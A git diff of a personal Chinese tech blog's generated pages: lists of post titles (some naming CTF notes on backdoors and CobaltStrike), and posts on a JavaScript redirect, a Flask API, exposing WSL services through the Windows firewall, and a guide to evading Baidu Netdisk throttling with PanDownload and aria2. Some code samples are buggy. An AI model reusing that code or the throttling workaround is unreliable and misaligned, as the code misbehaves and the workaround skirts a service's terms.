Raspberry 4B 折腾记录(持续更新)
2022网鼎杯青龙组——个人WriteUP
\ No newline at end of file diff --git a/page/4/index.html b/page/4/index.html new file mode 100644 index 0000000000..d0294c50fc --- /dev/null +++ b/page/4/index.html @@ -0,0 +1,403 @@ +GamerNoTitle - TECH OTAKUS SAVE THE WORLD + + + + + + + + + + + +
Ticwatch Pro 3 使用体验报告
日常吐槽10:我的域名被停止解析了 —— 一段时间
Vercel搭建反向代理
CSGO国服反和谐教程
SteamAutoQueue —— Steam自动探索3次队列,帮你拿到促销期间的卡牌!
CTF学习笔记(大学篇)07 —— 手动注入msf到指定的程序
2022年全国大学生信息安全竞赛创新实践能力赛 —— 复赛WriteUp
CTF学习笔记(大学篇)06 —— 实战!在拟定的背景下运用社工和后门程序获取用户手机上的内容
Linux踩坑记录:为什么我的sudo反应这么慢
CTF学习笔记(大学篇)05 —— 通过msfconsole和520apkhook创建带有后门程序的安卓程序
\ No newline at end of file diff --git a/page/5/index.html b/page/5/index.html new file mode 100644 index 0000000000..b9c976dbc7 --- /dev/null +++ b/page/5/index.html @@ -0,0 +1,391 @@ +GamerNoTitle - TECH OTAKUS SAVE THE WORLD + + + + + + + + + + + +
使用Railway服务平台和message-pusher项目搭建自己的微信通知推送服务器
在华为Watch Pro 3上面安装第三方应用
CTF学习笔记(大学篇)04 —— 使用Aircrack-ng来破解WIFI
2022年全国大学生信息安全竞赛创新实践能力赛初赛 —— 部分WriteUp
CTF学习笔记(大学篇)03 —— CobaltStrike 详解
Teamspeak服务器搭建指南
收看B站港澳台地区番剧的正确方式 - 哔哩漫游biliRoaming
MHYY-AutoCheckin - 米哈云游(云原神)自动签到脚本食用指南
用Python和Flask打造属于自己的API
CTF学习笔记(大学篇)02 —— BadUSB & CobaltStrike
\ No newline at end of file diff --git a/page/6/index.html b/page/6/index.html new file mode 100644 index 0000000000..7aabf509f6 --- /dev/null +++ b/page/6/index.html @@ -0,0 +1,409 @@ +GamerNoTitle - TECH OTAKUS SAVE THE WORLD + + + + + + + + + + + +
蓝桥杯2022年B组省赛 —— 个人题解
CTF学习笔记(大学篇)01 —— CTF入门
NeteaseMusicDownload —— 网易云音乐自助下载网站
MATLAB学习笔记 20211125
MATLAB学习笔记 20211126
Pycharm无限使用记录
日常吐槽10:为什么我叫做"GamerNoTitle"?
音灵INVAXION解锁工具制作全纪录
网站优化:网站目录缩短及重定向
“陪伴是最长情的告白”
\ No newline at end of file diff --git a/page/7/index.html b/page/7/index.html new file mode 100644 index 0000000000..1367ea6ea8 --- /dev/null +++ b/page/7/index.html @@ -0,0 +1,440 @@ +GamerNoTitle - TECH OTAKUS SAVE THE WORLD + + + + + + + + + + + +
日常吐槽09:关于我得知Github查封Action仓库的信息后我自行删除脚本的这档事
白嫖?给我也整一个!白嫖网易云游戏平台时长
日常吐槽08 - 换用Blackberry9720三个月后的感受
Steam资料美化 —— 让你的展柜变得好看!
日常吐槽07 - 记录一次成功的举报经历
MCDR-Mirror-Server使用手册和例子 | The usage and example of MCDR-Mirror-Server
MCDR的正确食用方式 - 让你的服务器像TIS一样拥有QB!
Office365开发者订阅保命计划
Valine-Customize魔改教程
Valine-Magic - Valine表情仓库
\ No newline at end of file diff --git a/page/8/index.html b/page/8/index.html new file mode 100644 index 0000000000..fc6bdf561a --- /dev/null +++ b/page/8/index.html @@ -0,0 +1,413 @@ +GamerNoTitle - TECH OTAKUS SAVE THE WORLD + + + + + + + + + + + +
Github的基本用法 —— 给小白的新手教程
CSGO服务器架设指南
hexo-theme-butterfly主题美化小笔记
Valine-Admin博客评论邮件提醒系统部署
日常吐槽05 - 【阿里云限时活动】免费领取6个月ESC服务器,到期前一个月还能免费续费多半年
Windows10美化笔记
Netease-Comment-Spider 网易云音乐热评爬虫使用手册
Hitokoto-Spider 一言库爬虫开发日记
Onedrive分享型网盘搭建 - FODI
jsDelivr的正确打开方式
\ No newline at end of file diff --git a/page/9/index.html b/page/9/index.html new file mode 100644 index 0000000000..cdc9473bb9 --- /dev/null +++ b/page/9/index.html @@ -0,0 +1,410 @@ +GamerNoTitle - TECH OTAKUS SAVE THE WORLD + + + + + + + + + + + +
日常吐槽04
日常吐槽03 - 聊一聊WARFRAME COINCIDANCE的制作
网易云音乐去除版权限制(Nodejs)
Cloudflare Workers反代实战(下)
日常吐槽02
日常吐槽01
Cloudflare Workers反代实战(上)
白嫖党教你白嫖Cloudflare Workers反代~
PIXIV网页版及客户端访问恢复指南(Linux版)
手把手教你怎么搭建属于自己的直播服务器~
\ No newline at end of file diff --git a/posts/301Redirect/index.html b/posts/301Redirect/index.html new file mode 100644 index 0000000000..95220064c5 --- /dev/null +++ b/posts/301Redirect/index.html @@ -0,0 +1,331 @@ +网站优化:网站目录缩短及重定向 | GamerNoTitle + + + + + + + + + + + + + + + + +

网站优化:网站目录缩短及重定向

考完高考啦,闲的没事干,想着之前各种SEO优化服务给我发的邮件,我想说:我自己也知道我的链接太长了呀!!!

+

所以这波是自己来优化(其实就是把链接缩短了而已)

+

本来是想着每个都加个301跳转,这样我就可以跳转到网页了,然后新建了两个干了起来

+

本来的想法

+

然后看到我的一堆文章,啥呀,整整三十六篇???!我这得搞到什么时候

+

说句实话,我才弄好俩了,就已经感觉太麻烦了,这条路行不通

+

然后我就想用我三脚猫功夫的JavaScript来弄,于是就有了下面这种问题

+

想法:

+
    +
  • 使用window函数获取当前链接
  • +
  • 使用正则表达式匹配链接
  • +
  • 将连接中的日期统一替换为posts
  • +
  • 控制301访问新的链接
  • +
+

想好了,开工!

+
+

我的第一版JavaScript是这么写的

+
1
2
3
url = window.location.href
result = String(url).replace(/20[0-2][0-9]\/[0-1][1-9]\/[0-3][1-9]/i,'posts')
window.location = result
+ +

解读一下:

+
    +
  • 获取当前链接地址并赋值为url
  • +
  • 将替换url中匹配正则表达式的部分,并替换为posts
  • +
  • 通过window函数将网页定位到新的链接
  • +
+

写好,上传到Github并用jsdelivr引入,渲染访问

+

然后问题就来了:所有的网页(因为我是全局引入)会进入无尽的刷新状态,原因是访问时不管是匹配还是不匹配都会进行301重定向,重定向完后访问的目标网页也有这个JavaScript,再次进行重定向,然后就进入了循环

+

(事实上,我到了第三版才发现这个问题,所以我们先放着这个问题)

+
+

下面是第二版√

+
1
2
3
4
5
6
7
8
9
url = window.location.href
whether = String(url).search(/20[0-2][0-9]\/[0-1][1-9]\/[0-3][1-9]/i)
if(whether == True){
result = String(url).replace(/20[0-2][0-9]\/[0-1][1-9]\/[0-3][1-9]/i,'posts')
window.location = result
}
else{
window.location = url
}
+ +

这个说句实在话,我在404.html引入的,然后将posts重定向的地方对了,但是,一旦不符合这个表达式,还是会陷入死循环,死在404界面上,然后这时候我才发现了这个问题,再次进行修改

+
+

第三版开始啦!

+
1
2
3
4
5
6
url = window.location.href
whether = String(url).search(/20[0-2][0-9]\/[0-1][1-9]\/[0-3][1-9]/i)
if(whether == true){
result = String(url).replace(/20[0-2][0-9]\/[0-1][1-9]\/[0-3][1-9]/i,'posts')
window.location = result
}
+ +

仍旧是在404页面引入的,这版是好的,直接放在网站的/js/301Redirect.js里面,404页面引入即可

+

另:在做这个的过程中,jsdelivr好像有点问题,就是本来可以通过访问purge.jsdelivr.net来刷新文件缓存,但是实际上自从jsd上次Down了以后,访问就刷不了了,所以最后采用的是放在网站的目录中而不是放在jsd引入

+

总之这一次的网站优化就这么搞定了,新链接还行,就等搜索引擎自己帮我改过去了√

+
+

2021.6.24更新

+

发现访问的链接并不一定是上面那样/YYYY/MM/DD/:post的形式,甚至有/YYYY/MM/DD/:post//YYYY/MM/DD/:post/index.html的访问方式,所以我又来修改了

+
1
2
3
4
5
6
7
8
9
url = window.location.href
whether = String(url).search(/20[0-2][0-9]\/[0-1][1-9]\/[0-3][1-9]/i)
whethersplash = String(url).search(/20[0-2][0-9]\/[0-1][1-9]\/[0-3][1-9]\//i)
whetherindex = String(url).search(/20[0-2][0-9]\/[0-1][1-9]\/[0-3][1-9]\/index.html/i)
if(whether == true | whethersplash == true | whetherindex == true){
result = String(url).replace(/20[0-2][0-9]\/[0-1][1-9]\/[0-3][1-9]/i,'posts')
window.location = result
}

+ +

加多了两个判断,然后用或运算符在if中判断是否需要跳转,完事!

+

不知道这样可不可以,用一段时间再说吧√

+
Author: GamerNoTitle
Link: https://bili33.top/posts/301Redirect/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
avatar
GamerNoTitle
是大学生,也是个人开发者,在CTF领域学习中
Follow Me
Announcement

本站使用哔哩CDN进行加速

+
\ No newline at end of file diff --git a/posts/API-FLASK/index.html b/posts/API-FLASK/index.html new file mode 100644 index 0000000000..63feb5df69 --- /dev/null +++ b/posts/API-FLASK/index.html @@ -0,0 +1,335 @@ +用Python和Flask打造属于自己的API | GamerNoTitle + + + + + + + + + + + + + + + + + +

用Python和Flask打造属于自己的API

先上api链接:https://api.ninym.top

+

文档链接:https://ninym.top

+
+

快速开始

环境安装

首先既然是用python+flask,这两个东西肯定要装好的嘛~ Python的安装我就不讲了,主要说下flask

+

很简单,安装命令就一行

+

Linux

1
pip3 install flask
+ +

Windows

1
pip install flask
+ +

+

因为我这里已经安装过了,所以写的是Requirement already satisfied,如果没有安装过的话会进入安装状态

+

# Hello World

既然要用flask框架,那就首先要引用,在python中,我们可以使用import语句来引用外部模块

+
1
from flask import Flask
+ +

当然可以在后面加上as xxx给它取个别名(特别是对于那些名字很长的modules,下面会讲)

+

接下来我们创建我们的第一个flask程序

+
1
2
3
4
5
6
7
8
9
from flask import Flask

app = Flask(__name__)
@app.route('/', methods=['GET'])
def parser():
return '<h1>Hello World!</h1>'

if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080, debug=False)
+ +

然后我们直接运行命令python <file>.py就可以运行我们的服务器了(Linux请使用python3 <file>.py,下面不再赘述,只讲Windows,Linux用户请自行替换)

+

+

然后我们在浏览器访问我们的网站,在这里可以使用127.0.0.1:8080访问,因为服务器就是部署在本机器上面的,打开后就会显示Hello World了

+

+

注:图标是我的浏览器本地缓存,正常情况下网站是没有图标的(因为没有设置)

+

太棒啦,你现在已经学会创建Flask程序啦!

+

我的Flask程序

网易云音乐下载

我在玩这个东西的过程中,主要是想把我的网易云音乐的API给重制一下(之前是用JavaScript写的烂代码,而且不会自动重命名,就想把这个功能完善一下),所以在我住院的期间,我就开始干起了这个东西。

+

首先先新建一个utils文件夹,里面放各种自制模块,然后新建了NeteaseCloudMusic.py来写我的这部分的代码

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
import requests as r
import bs4
import os
import re


def NeteaseDownload(id, ContentType):
if ContentType == 'attachment':
song, author = FileInfo(id)
# If the song id doesn't map to a song, this will return.
if song == None and author == None:
return False, 'Not Found', 'Not Found'
base = 'https://music.163.com/song/media/outer/url?id='
file = './cache/' + id + '.mp3'
filename = id+'.mp3'
if os.path.exists(file):
return filename, song, author
try:
stream = r.get(base + id, timeout=30)
except TimeoutError:
return False, None, None
if 'u-errlg u-errlg-404' in stream.text: # Some VIP songs cannot be downloaded
print(
'[NETEASEMUSICDOWNLOAD] Failed while getting the resources and information of a song.')
return False, 404, 404
print('[NETEASEMUSICDOWNLOAD] Getting song {} - {}, returned status_code {}'.format(
author, song, stream.status_code))
with open(file, 'wb') as f:
f.write(stream.content)
return filename, song, author
else:
base = 'https://music.163.com/song/media/outer/url?id='
song, author = FileInfo(id)
if song == None and author == None:
return {'code': -2, 'msg': 'It seems that id {} is not a valid song id.'.format(id)}
try:
stream = r.get(base + id, timeout=30)
except TimeoutError:
return {'code': -3, 'msg': 'Timed out. Please try again later.'}
if stream.url == "https://music.163.com/404":
return {'code': 500, 'link': None, 'name': song, 'author': author, 'msg': 'Cannot fetch download link.'}
return {'code': 200, 'link': stream.url, 'name': song, 'author': author, 'msg': 'Success'}


def FileInfo(id): # Get the information of the song, including name and author
TargetWebInfo = r.get('https://music.163.com/song?id=' + id)
html = TargetWebInfo.content
bf = bs4.BeautifulSoup(html, "lxml")
try:
song = str(list(bf.find_all('em', class_="f-ff2"))[0])
song = song.replace('<em class="f-ff2">', '').replace('</em>', '')
ForbiddenCharacters = [('\\', ' '), ('/', ' '), (':', ':'),
('*', ' '), ('?', '?'), ('<', ' '), ('>', ' '), ('|', '丨')]
for i in ForbiddenCharacters:
song = song.replace(i[0], i[1])
except:
song = None
try:
author = str(list(bf.find_all('a', class_='s-fc7'))[1])
ReplaceLink = re.findall(r'<a class="s-fc7" href=".+">', author)
for i in ReplaceLink:
author = author.replace(i, '')
author = author.replace('</a>', '')
if author == '${escape(x.beRepliedUser.nickname)}':
author = None
except:
author = None
return song, author
+ +

首先因为涉及到网络,所以就引入了一个requests模块(精简版的utllib),然后把我原来在JavaScript写的逻辑搬过来,就形成了NeteaseDownload这个函数,那就剩下重命名没搞定。因为手动解析网易云音乐的网页很麻烦,所以就用了一个叫做beautifulsoup4的模块来帮助我解析。在这里直接搜索<em>元素,限定class为f-ff2,这样就可以找到歌曲名;在用re寻找<a>标签下class为<s-fc7>的内容,这些元素和class都是通过分析网易云音乐网站的源代码获得的。当然当用户输入了非法的id的时候,在网易云上就无法获取到歌曲信息,这时候通过搜索作者中内容为${escape(x.beRepliedUser.nickname)}的情况就可以判断,向用户返回非法id的信息

+

接着在主程序中注册网易云音乐的解析器,给网易云音乐的API设定路径即可

+
1
2
3
4
5
6
7
8
9
10
11
12
13
from utils.NeteaseCloudMusic import NeteaseDownload
@app.route('/<query>', methods=['GET']) # First path handler
def parser(query):
paths = ['song'] # All requests paths
path = query.split('/')
parameter = path[0]
if parameter not in paths: # When the path not exists, this will return 404
abort(404)
if parameter == 'song':
id = request.args.get('id')
ContentType = request.args.get('type')
return NeteaseHandler(id, ContentType)

+ +

Github RELEASE下载次数饼状图

这个用到了matplotlib.pyplot这个模块,上面说这种模块名字很长的就可以给它命个别名,所以在引入的时候就给它改了个名字

+
1
2
import matplotlib.pyplot as plt
import matplotlib # 本体,在后面颜色的设定用到了
+ +

然后就是疯狂地写代码,Github的下载次数是有API可以获取的(不过有QPS就是了)

+

从Github获取次数后进行json解析,把RELEASE版本信息和次数提取出来,接着放到图片里就可以了,总之就是写成了下面这样

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
import requests as r
import matplotlib.pyplot as plt
import matplotlib
import numpy as np
import json
import flask

ReleaseBase = 'https://api.github.com/repos/'
domain = 'dev.api.ninym.top'

def ghParser(operation, author, repo, ContentType):
operations = ['release']
Error404 = {
'code': 404,
'msg': 'Invalid path gh/{}'.format(operation)
}
Error501 = {
'code': 501,
'msg': 'It seems that this repo has no any release'.format(operation)
}
if operation not in operations: return json.dump(Error404)
if operation == 'release':
release = Release(author,repo,ContentType)
if release.isEmpty:
return json.dumps(Error501)
return release.Draw()

class Release():
def __init__(self, author, repo, ContentType):
self.author = author
self.repo = repo
self.info = json.loads(r.get(ReleaseBase+self.author+'/'+self.repo+'/releases').text)
self.ContentType = ContentType
if len(self.info) == 0: self.isEmpty = True
else: self.isEmpty = False

def getInfo(self): # For debugging
return self.info

def makeDimensionList(self):
self.ReleaseLabel = []
self.ReleaseDownloads = []
for i in self.info:
Downloads = 0
TagName = i['tag_name']
assets = i['assets']
if len(assets) == 0:
self.ReleaseLabel = None
self.ReleaseDownloads = None
else:
for j in assets:
Downloads += j['download_count']
self.ReleaseLabel.append(TagName)
self.ReleaseDownloads.append(Downloads)


def Draw(self):
self.makeDimensionList()
plt.figure(figsize=(10,10)) # Make the circle to be a formal one
matplotlib.rcParams.update({'font.size': 20}) # Change the font size of title
if self.ReleaseDownloads == None and self.ReleaseLabel == None:
values = [100]
plt.title('No Any Downloadable Asset from {}/{}'.format(self.author,self.repo))
r = np.linspace(106,142,1,dtype=np.uint8)
g = np.linspace(103,140,1,dtype=np.uint8)
b = np.linspace(232,216,1,dtype=np.uint8)
colors = ['#'+'{:0>2}{:0>2}{:0>2}'.format(str(hex(r[i])),str(hex(g[i])),str(hex(b[i]))).replace('0x','') for i in range(len(r))]
plt.pie(values,colors=colors)
plt.savefig('./cache/{}-{}.png'.format(self.author,self.repo))
if self.ContentType == 'pic': return flask.send_from_directory('./cache/', '{}-{}.png'.format(self.author,self.repo), as_attachment=False, download_name='{} - {}.png'.format(self.author, self.repo))
else:
dt = {
'author': self.author,
'repo': self.repo,
'labels': self.ReleaseLabel,
'downloads': self.ReleaseDownloads,
'pic': 'https://{}/cache/{}-{}.png'.format(domain,self.author,self.repo),
'remark': 'The access to the pic will be removed when the service is redeployed or by the operation of administrator'
}
return json.dumps(dt)
explode = [0.01] * len(self.ReleaseLabel)
r = np.linspace(106,142,len(self.ReleaseDownloads),dtype=np.uint8)
g = np.linspace(103,140,len(self.ReleaseDownloads),dtype=np.uint8)
b = np.linspace(232,216,len(self.ReleaseDownloads),dtype=np.uint8)
colors = ['#'+'{:0>2}{:0>2}{:0>2}'.format(str(hex(r[i])),str(hex(g[i])),str(hex(b[i]))).replace('0x','') for i in range(len(r))]
plt.pie(self.ReleaseDownloads,explode=explode,labels=self.ReleaseLabel,autopct='%1.1f%%',colors=colors)
plt.title('Downloads of {}/{}'.format(self.author,self.repo))
plt.savefig('./cache/{}-{}.png'.format(self.author,self.repo))
if self.ContentType == 'pic': return flask.send_from_directory('./cache/', '{}-{}.png'.format(self.author,self.repo), as_attachment=False, download_name='{} - {}.png'.format(self.author, self.repo))
else:
dt = {
'author': self.author,
'repo': self.repo,
'labels': self.ReleaseLabel,
'downloads': self.ReleaseDownloads,
'pic': 'https://{}/cache/{}-{}.png'.format(domain,self.author,self.repo),
'remark': 'The access to the pic will be removed when the service is redeployed or by the operation of administrator'
}
return json.dumps(dt)

+ +

然后还是一样在主程序中注册路径即可

+
1
2
3
4
5
6
7
8
9
10
11
from utils.Github import ghParser

@app.route('/gh/<operation>', methods=['GET']) # Github Handler
def ghHandler(operation):
Analytics(request)
author = request.args.get('author')
repo = request.args.get('repo')
ContentType = request.args.get('type')
if ContentType != 'pic' and ContentType != 'json':
ContentType = 'pic'
return ghParser(operation, author, repo, ContentType)
+ +

部署服务

部署服务我选择的是Railway这个平台,相比于heroku来说比较快,而且不用绑卡就能绑定域名,很方便

+

在这上面新建环境,选择Deploy from Github Repo,然后选中自己的仓库就行了

+

+

然后在项目的设置中进行自定义域名的绑定和启动命令的修改即可

+

+

+

结语

总的来说,用Flask还是比较方便的,何况我还是比较会用Python,能够做出很多奇奇怪怪的东西,但是就是缺少点子

+

如果你有什么想法也可以在评论区留言,我说不定会做出来呢?

+
Author: GamerNoTitle
Link: https://bili33.top/posts/API-FLASK/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
\ No newline at end of file diff --git a/posts/Access-WSL-through-Windows/index.html b/posts/Access-WSL-through-Windows/index.html new file mode 100644 index 0000000000..87af58f31f --- /dev/null +++ b/posts/Access-WSL-through-Windows/index.html @@ -0,0 +1,322 @@ +从外网访问Windows服务器上WSL的服务 | GamerNoTitle + + + + + + + + + + + + + + + + +

从外网访问Windows服务器上WSL的服务

之前因为Valora这个东西部署在Zeabur上面,然后Zeabur被我用超了,给我发邮件了,让我升级我的套餐,那既然这样我肯定得寻找更好的服务器去搭建Valora了;前些阵子我问了@CyanFalse想问问有没有什么好的服务器,结果人家很大气啊,直接给了一台12H48G的Windows服务器(没错是Windows不是Linux),虽然说Windows做服务器没啥问题,又不是不会用,天天用着这个视窗11怎么可能不会用,不过Windows还是有点不方便,然后我就装了WSL来跑我的服务

+

但是但是,Windows的WSL是有防火墙加持的,这个防火墙是Windows自己的防火墙,会阻挡Windows访问WSL的服务,也会阻挡WSL访问Windows的服务,这很不方便,所以就有了这个文章

+

找到目标IP

首先得搞清楚我们要访问的IP,要不然关了防火墙访问错IP也是没用的,不过这一部分很简单,甚至可以跳过

+

找到WindowsIP

直接在设置里面找到自己当前使用的网络驱动器,里面就有(这里用我自己电脑截个图,我自己电脑是设置了静态IP的,一般来说上面IP分配那里会写自动,要看下面那个IPv4地址的IP)

+

+

当然如果你更习惯用命令行(例如我),那可以使用以下命令获取

+
1
ipconfig
+ +

然后会有一堆的输出(取决于你有多少个网卡)

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
PS C:\Users\GamerNoTitle> ipconfig

Windows IP 配置


未知适配器 Tailscale:

连接特定的 DNS 后缀 . . . . . . . :
本地链接 IPv6 地址. . . . . . . . : fe80::d8ff:5060:f230:9168%67
自动配置 IPv4 地址 . . . . . . . : 169.254.83.107
子网掩码 . . . . . . . . . . . . : 255.255.0.0
默认网关. . . . . . . . . . . . . :

无线局域网适配器 WLAN:

媒体状态 . . . . . . . . . . . . : 媒体已断开连接
连接特定的 DNS 后缀 . . . . . . . : DHCP HOST

以太网适配器 以太网:

连接特定的 DNS 后缀 . . . . . . . :
IPv4 地址 . . . . . . . . . . . . : 192.168.0.233
子网掩码 . . . . . . . . . . . . : 255.255.255.0
默认网关. . . . . . . . . . . . . : 192.168.0.1

以太网适配器 VMware Network Adapter VMnet1:

连接特定的 DNS 后缀 . . . . . . . :
IPv4 地址 . . . . . . . . . . . . : 192.168.10.1
子网掩码 . . . . . . . . . . . . : 255.255.255.0
默认网关. . . . . . . . . . . . . :

以太网适配器 VMware Network Adapter VMnet8:

连接特定的 DNS 后缀 . . . . . . . :
IPv4 地址 . . . . . . . . . . . . : 192.168.43.1
子网掩码 . . . . . . . . . . . . : 255.255.255.0
默认网关. . . . . . . . . . . . . :

以太网适配器 vEthernet (Default Switch):

连接特定的 DNS 后缀 . . . . . . . :
本地链接 IPv6 地址. . . . . . . . : fe80::369c:b5be:230:32bb%79
IPv4 地址 . . . . . . . . . . . . : 172.21.96.1
子网掩码 . . . . . . . . . . . . : 255.255.240.0
默认网关. . . . . . . . . . . . . :
+ +

我这里网卡是用的以太网适配器 以太网,所以我的IP就是192.168.0.233

+

+

找到WSL的IP

首先你得安装net-tools(一般来说正常的Linux都会有,但指不定你用的WSL它没有呢?)

+
1
$ sudo apt install net-tools -y
+ +

安装完以后输入Linux的经典命令

+
1
$ ifconfig
+ +

然后就会有你所有网卡的输出

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
gamernotitle@DESKTOP-HRHFRVI:~$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet xxx.xx.xx.123 netmask 255.255.240.0 broadcast xxx.xx.xx.xxx
inet6 fe80::215:5dff:fee6:d2ab prefixlen 64 scopeid 0x20<link>
ether 00:15:5d:e6:d2:ab txqueuelen 1000 (Ethernet)
RX packets 151123 bytes 210055048 (210.0 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 22062 bytes 12461359 (12.4 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
+ +

这里要看的是eth0,看里面的inet写的啥,这里可以得到IP地址为xxx.xx.xx.123(因为用的是公网服务器,所以码一下)

+

+

让访问流量通过防火墙

这里就得打开一个管理员终端了,按下Win + X,选择终端(管理员)

+

+

然后输入以下命令,添加防火墙规则,放行两端访问的流量

+
1
New-NetFirewallRule -DisplayName "WSL" -Direction Inbound -InterfaceAlias "vEthernet (WSL)"  -Action Allow
+ +

会弹出这样子的提示

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Name                          : {规则的UUID}
DisplayName : WSL
Description :
DisplayGroup :
Group :
Enabled : True
Profile : Any
Platform : {}
Direction : Inbound
Action : Allow
EdgeTraversalPolicy : Block
LooseSourceMapping : False
LocalOnlyMapping : False
Owner :
PrimaryStatus : OK
Status : 已从存储区成功分析规则。 (65536)
EnforcementStatus : NotApplicable
PolicyStoreSource : PersistentStore
PolicyStoreSourceType : Local
RemoteDynamicKeywordAddresses : {}
PolicyAppId :
+ +

就说明已经打通了,现在你试试访问WSL的服务,是不是已经可以访问通了呢

+

Windows转发WSL流量

因为我是使用公网服务器,但是服务跑在WSL里面,所以得让Windows来转发一下,幸好Powershell可以直接做到

+
1
netsh interface portproxy add v4tov4 listenport=<"Windows监听的端口"> connectaddress="<WSL的IP地址,前面获取过的>" connectport=<"WSL中的服务端口"> listenaddress=* protocol=tcp
+ +

协议这个地方,如果你是UDP服务的话,记得把tcp改为udp

+

打完后按回车,添加转发不会有任何的提示;然后在公网访问服务器,就可以发现已经访问到WSL中的服务了

+
Author: GamerNoTitle
Link: https://bili33.top/posts/Access-WSL-through-Windows/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
\ No newline at end of file diff --git a/posts/BaiduNetDisk-Limit-Break/index.html b/posts/BaiduNetDisk-Limit-Break/index.html new file mode 100644 index 0000000000..09942076e1 --- /dev/null +++ b/posts/BaiduNetDisk-Limit-Break/index.html @@ -0,0 +1,315 @@ +被限速的日子,该过去了! | GamerNoTitle + + + + + + + + + + + + + + + + +

被限速的日子,该过去了!

本教程可能已经过时

鉴于Pandownload网页端经常服务器维护,本页面教程可能已经过时!

+
+ +

辣鸡百度云,又限我速!

百度云限速(真实)

+

百度云天天限速,8M/s的网速硬生生被拖到8kb/s,太真实了,这限速估计也烦了不少人,但是用speedpan之类的软件可能就有封号风险,所谓的封号不是封禁账号,是直接断你的线程断剩下一个,这样就可以拖慢你的网速。

+

那么我们要怎么样不被封号的同时又能告诉下载呢?(鉴于好多小伙伴看不懂我的在线版本教程,所以我在2019/8/13修改了教程,只剩下普通版)

+

第一步、部署本地aria2

下载Aria2c All In One工具包,然后打开里面的start.bat文件,会弹出一个cmd窗口,防火墙提示请允许!你也可以打开start-vanish.vbs文件,这样就不会弹出cmd窗口,若要关闭Aria2c,直接双击stop.bat即可!

+

1、开启aria2

直接点开文件里面的start.bat文件就可以打开aria2,但是这样做就会生成一个窗口,有些人就认为它不美观,不想要它,那就可以打开文件里面的start-vanish.vbs,就可以做到既没有窗口又可以打开aria2

+

2、配置aria2

①、第二十七行
1
2
# 单个任务最大线程数, 添加时可指定, 默认:5
split=5
+ +

split后面的数字随便改,只要你认为你的电脑能吃那么多的线程。

+
②、第六十一行
1
2
# 设置的RPC授权令牌, v1.18.4新增功能, 取代 --rpc-user 和 --rpc-passwd 选项
#rpc-secret=secret
+ +

这是你的aria2密钥,不过如果你是本地用或者局域网内用就不建议设置密钥,rpc-secret前面的#去掉,然后把后面的secret改成你自己的密钥即可!

+

第二步(可选):部署ariaNg

下载AriaNg文件,并解压到自定义目录

+

打开里面的index.html文件,进入AriaNg设置

+

填写以下内容:

+

Aria2c RPC 别名:【自己填写】

+

Aria2c RPC 地址:127.0.0.1或localhost 6800 jsonrpc

+

Aria2c RPC 协议:HTTP

+

Aria2c RPC HTTP 请求方法:POST

+

Aria2c RPC 密钥:(填写自己的密钥,默认为空)

+

第三步、打开你的分享链接,在分享链接后面加上wp进入PanDownload

[无图警告]

+

第四步、点击想下载的文件,选择Aria2下载,输入内容如下:

主机:127.0.0.1 或 localhost

端口:6800 (如果自己改了端口就请填写自己的)

密钥:(默认留空,如果设置了密钥就填写密钥)

下载路径:(填自己电脑的文件夹路径,例如C:\Users\GamerNoTitle\Download,就是我的文档里面的下载文件夹)

(以下是一个例子,请不要按照我这么填!!!)

pandownload aria配置图

+

填好以后点确定会直接开始下载

+

这种方式是可以飞速下载的,当然这样下载的结果就是文件存放在了自己设定的目录。

+

忘了说了,pandownload是有每日获取次数限制的,限制是限制公网ip,也就是同网络下一个人被限制了,其他人也会被限制,不知道具体是多少次。。。

+

祝各位突破限速成功!

+

封面下载(来自Watch_Dogs 2):点我下载!(4K图)

+

狗二图包详见育碧!

+

DedSec

+
Author: GamerNoTitle
Link: https://bili33.top/posts/BaiduNetDisk-Limit-Break/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
\ No newline at end of file diff --git a/posts/BeatSaber-Noob/index.html b/posts/BeatSaber-Noob/index.html new file mode 100644 index 0000000000..3603ec42c1 --- /dev/null +++ b/posts/BeatSaber-Noob/index.html @@ -0,0 +1,340 @@ +Beat Saber 萌新踩坑记录 | GamerNoTitle + + + + + + + + + + + + + + + + + + +

Beat Saber 萌新踩坑记录

+

本文只是通过我的各种经验,去讲述我玩Beat Saber的时候踩过的坑。如果你需要更完整的Beat Saber萌新教程,请访问Beat Saber新手教程、问题解答、曲包网盘 - Steam / Oculus / Quest (wgzeyu.com)

+

转载:VR设备参数对比表(BS中文站)

+
+

